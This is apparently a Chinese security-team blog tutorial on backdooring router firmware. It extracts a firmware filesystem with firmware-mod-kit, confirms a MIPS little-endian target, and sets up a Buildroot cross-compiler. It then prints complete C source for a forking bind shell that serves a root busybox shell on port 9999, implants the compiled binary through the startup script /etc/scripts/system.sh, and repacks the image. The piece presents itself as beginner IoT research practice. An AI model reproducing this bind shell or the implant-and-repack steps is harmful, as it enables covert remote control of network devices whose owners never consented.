路由器固件后门添加
0X01前言
上一篇文章内容介绍了如何使用Firmadyne进行固件仿真,Firmadyne底层基于QEMU虚拟机,该工具可以对整个固件包的系统架构进行仿真并运行固件,本文内容主要描述了对固件包进行篡改后重新打包的过程。
0X02提取固件系统
FMK简介:
固件篡改过程中会用到FMK工具-firmware-mod-kit,该工具可以利用binwalk等工具从固件中提取出文件系统,将提出的文件系统内容进行篡改后,再重新打包成新的固件包,最后将篡改后的固件包刷新设备中,安装命令如下,该工具attifyOS系统中已经部署好了,不再展开详述。
安装命令: git clone --recursive https://github.com/attify/firmware-analysis-toolkit.git
提取固件系统:
这里我们采用extract-firmware.sh来提取固件中文件系统,打开FMK目录运行以下命令:
./extract-firmware.sh 固件包名称
打开提取固件完成后的目录,发现目录中存在以下文件夹:image_parts、logs、rootfs 。查看文件夹内容,可以看到rootfs目录包含了一个完整的文件系统,也就是添加后门的主要位置。
0X03 ARM、MIPS、X86架构简介
添加后门程序需要查看固件所基于的架构,如主流的ARM及MIPS等架构:
ARM
ARM是高级精简指令集的简称(Advanced RISC Machine),它是一个32位的精简指令集架构,但也配备16位指令集,一般来讲比等价32位代码节省达35%,却能保留32位系统的所有优势。ARM处理器的主要特点是:
-
体积小、低功耗、低成本、高性能——ARM被广泛应用在嵌入式系统中的最重要的原因 支持Thumb(16位)/ARM(32位)双指令集,能很好的兼容8位/16位器件;
-
大量使用寄存器,指令执行速度更快;
-
大多数数据操作都在寄存器中完成;
-
寻址方式灵活简单,执行效率高;
-
指令长度固定。
-
Load_store结构:在RISC中,所有的计算都要求在寄存器中完成。而寄存器和内存的通信则由单独的指令来完成。而在CSIC中,CPU是可以直接对内存进行操作的。 流水线处理方式。
MIPS
MIPS架构(英语:MIPS architecture,为Microprocessor without interlocked piped stages architecture的缩写,亦为Millions of Instructions Per Second的相关语),是一种采取精简指令集(RISC)的处理器架构,1981年出现,由MIPS科技公司开发并授权,广泛被使用在许多电子产品、网络设备、个人娱乐装置与商业装置上。最早的MIPS架构是32位,最新的版本已经变成64位。
MIPS的基本特点是:
-
包含大量的寄存器、指令数和字符。
-
可视的管道延时时隙。
这些特性使MIPS架构能够提供最高的每平方毫米性能和当今SoC设计中最低的能耗。
X86
X86架构是芯片巨头Intel设计制造的一种微处理器体系结构的统称。如果这样说你不理解,那么当我说出8086,80286等这样的词汇时,相信你肯定马上就理解了,正是基于此,X86架构这个名称被广为人知。 如今,我们所用的PC绝大部分都是X86架构。可见X86架构普及程度,这也和Intel的霸主地位密切相关。 x86采用CISC(Complex Instruction Set Computer,复杂指令集计算机)架构。与采用RISC不同的是,在CISC处理器中,程序的各条指令是按顺序串行执行的,每条指令中的各个操作也是按顺序串行执行的。顺序执行的优点是控制简单,但计算机各部分的利用率不高,执行速度慢。
使用readelf命令查看固件所基于的系统,发现系统架构为小端MIPS:
readelf -h busybox //rootfs系统中任意文件执行readelf命令
0X04编译后门
使用Osanda Malith开发的符合MIPS小端架构的后门并进行编译:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define SERVER_PORT 9999 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith) * Bind Shell using Fork for my TP-Link mr3020 router running busybox * Arch : MIPS * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB - march=24kc */ int main() { int serverfd, clientfd, server_pid, i = 0; char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n"; char *args[] = { "/bin/busybox", "sh", (char *) 0 }; struct sockaddr_in server, client; socklen_t len; server.sin_family = AF_INET; server.sin_port = htons(SERVER_PORT); server.sin_addr.s_addr = INADDR_ANY; serverfd = socket(AF_INET, SOCK_STREAM, 0); bind(serverfd, (struct sockaddr *)&server, sizeof(server)); listen(serverfd, 1); while (1) { len = sizeof(struct sockaddr); clientfd = accept(serverfd, (struct sockaddr *)&client, &len); server_pid = fork(); if (server_pid) { write(clientfd, banner, strlen(banner)); for(; i <3 /*u*/; i++) dup2(clientfd, i); execve("/bin/busybox", args, (char *) 0); close(clientfd); } close(clientfd); } return 0; }
MIPS交叉编译环境的搭建
安装Buildroot
安装依赖库: sudo apt-get update sudo apt-get install libncurses5-dev patch 下载源码: git clone https://github.com/buildroot/buildroot.git
执行make list-defconfigs
命令查看开发板配置
执行make menuconfig
进行配置命令以后会出现Buildroot的编译配置界面:选择 Target options(目标配置)Target Architecture (MIPS (little endian)),配置 Target Architecture(目标架构)为 MIPS (little endian),Target Architecture Variant 自动配置为(Generic MIPS32),不需要修改。其实,最后生成的编译器在编译程序的时,可以添加选项供用户进行大端或者小端的设置。如配置交叉编译环境过程中遇到问题请参考MIPS交叉编译环境的搭建指南,直到环境搭建完成后才发现attifyOS中已部署好该环境。。。
shell文件
编译经过一段时间的编译完成以后,在Buildroot的根目录下会增加一个output文件,其中包含已经编译好的文件。可以在 buildroot/output/host/usr/bin目录下找到生成的交叉编译工具,mips的编译器就是该目录下的mipsel-linux-gcc。
执行mipsel-linux-gcc --version
查看版本将上文中的后门文件bindshell.c进行编译为能够 植入文件系统的二进制文件。
选择放置后门二进制文件的位置:/rootfs/etc/templates
在/etc/scripts/system.sh脚本中调用后门二进制文件bindshell:(文章是之前写的,竟然少了个图,硬盘没带)
最后使用build-firmware.sh将修改后的文件系统重新打包为新的固件包。
此处注意下测试的固件版本是否有固件签名和校验值验证等操作,如果有固件校验等操作,初学者建议换个防护性较差的低版本来作为入门练习,开始未注意固件版本爬了许多坑,查阅很多资料,最后才测试成功。
0X05参考资料:
http://m.elecfans.com/article/589086.html
https://blog.csdn.net/qq1084283172/article/details/68950682
http://www.mamicode.com/info-detail-2822683.html
《揭秘家用路由器0day漏洞挖掘技术》
《IOT_PENETRATION》
关注我们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:
来源:freebuf.com 2020-03-19 16:44:18 by: Parad0x
请登录后发表评论
注册